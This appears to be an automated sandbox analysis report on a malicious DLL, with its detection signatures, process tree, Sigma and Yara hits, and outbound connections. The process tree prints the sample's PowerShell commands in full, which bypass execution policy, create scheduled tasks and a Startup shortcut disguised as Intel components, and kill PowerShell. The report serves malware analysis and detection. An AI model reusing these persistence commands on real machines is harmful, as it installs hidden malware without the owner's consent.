Edit tour

Windows Analysis Report
uEhN67huiV.dll

Overview

General Information

Sample name:	uEhN67huiV.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original sample name:	6d54f141eb720b107b479bf46db29af4df2b96fe090b3ddaf835b3a1d1ed40a1.dll.exe
Analysis ID:	1576676
MD5:	217191ece640821660fb91ccda6e3422
SHA1:	a0237e393079a306f70bd436c15c5b7abb4e8a23
SHA256:	6d54f141eb720b107b479bf46db29af4df2b96fe090b3ddaf835b3a1d1ed40a1
Tags:	exeuser-JAMESWT_MHT
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Bypasses PowerShell execution policy

Powershell creates an autostart link

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: Potentially Suspicious PowerShell Child Processes

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Windows shortcut file (LNK) contains suspicious command line arguments

Yara detected Generic Downloader

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 3008 cmdline: loaddll64.exe "C:\Users\user\Desktop\uEhN67huiV.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 4724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4372 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 4500 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 4112 cmdline: rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainer MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 6304 cmdline: C:\Windows\system32\WerFault.exe -u -p 4112 -s 588 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 6156 cmdline: rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 5176 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5756 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6508 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3772 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5972 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 7184 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7376 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

rundll32.exe (PID: 6004 cmdline: rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstallUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7320 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7400 cmdline: "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save() MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7584 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainer MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7592 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstall MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7984 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7228 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 8056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6048 cmdline: "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4508 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3692 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

powershell.exe (PID: 2412 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 8160 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml MD5: 76CD6626DD8834BD4A42E6A565104DC2)

rundll32.exe (PID: 7604 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstallUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

taskkill.exe (PID: 7336 cmdline: "taskkill" /F /IM powershell.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 4024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7916 cmdline: "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save() MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7632 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",Dummy MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7648 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DotNetRuntimeDebugHeader MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 8164 cmdline: C:\Windows\system32\WerFault.exe -u -p 7648 -s 372 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 7676 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerUserOnly MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 7216 cmdline: "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7712 cmdline: rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerSmartAndSilent MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author
33.2.rundll32.exe.2651ec38200.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
33.2.rundll32.exe.2651ec00058.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
33.2.rundll32.exe.2651ec20090.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7400, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementEngine.lnk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3772, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, ProcessId: 5972, ProcessName: schtasks.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6156, ParentProcessName: rundll32.exe, ProcessCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ProcessId: 3772, ProcessName: powershell.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7400, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementEngine.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3772, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml, ProcessId: 5972, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6156, ParentProcessName: rundll32.exe, ProcessCommandLine: "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\"", ProcessId: 3772, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: rundll32.exe, 00000021.00000003.2380730921.000002A5B1B7F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_0bd496f4-7

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\logs.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\error.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

File created: C:\Users\user\Desktop\InstallError.txt

Jump to behavior

Source: uEhN67huiV.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: C:\Users\radu\OneDrive\Documents\Projects\RootServer\Mainer\bin\Release\net8.0\win-x64\native\Mainer.pdb source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject\Arti\data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\torproject
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 54.36.205.38 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 23.233.0.213 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 89.58.54.129 853
Source: C:\Windows\System32\rundll32.exe	Network Connect: 81.7.16.177 9001
Source: C:\Windows\System32\rundll32.exe	Network Connect: 18.18.82.18 9001

Yara detected Generic Downloader

Source: Yara match	File source: 33.2.rundll32.exe.2651ec38200.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.rundll32.exe.2651ec00058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.rundll32.exe.2651ec20090.0.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.5:49721 -> 23.233.0.213:9001
Source: global traffic	TCP traffic: 192.168.2.5:49722 -> 18.18.82.18:9001
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 89.58.54.129:853
Source: global traffic	TCP traffic: 192.168.2.5:49765 -> 81.7.16.177:9001
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 54.36.205.38:9001

Source: Joe Sandbox View

IP Address: 54.36.205.38 54.36.205.38

Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: TEKSAVVYCA TEKSAVVYCA
Source: Joe Sandbox View	ASN Name: ISPPRO-ASISPPRO-AScoversthenetworksofISPproDE ISPPRO-ASISPPRO-AScoversthenetworksofISPproDE

Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.0.213
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 89.58.54.129
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18
Source: unknown	TCP traffic detected without corresponding DNS query: 18.18.82.18

Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.css
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://.jpg
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 0000001A.00000002.2253402475.0000025123BC6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.000002513234D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: rundll32.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY#
Source: rundll32.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: rundll32.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: rundll32.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: rundll32.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: rundll32.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY#
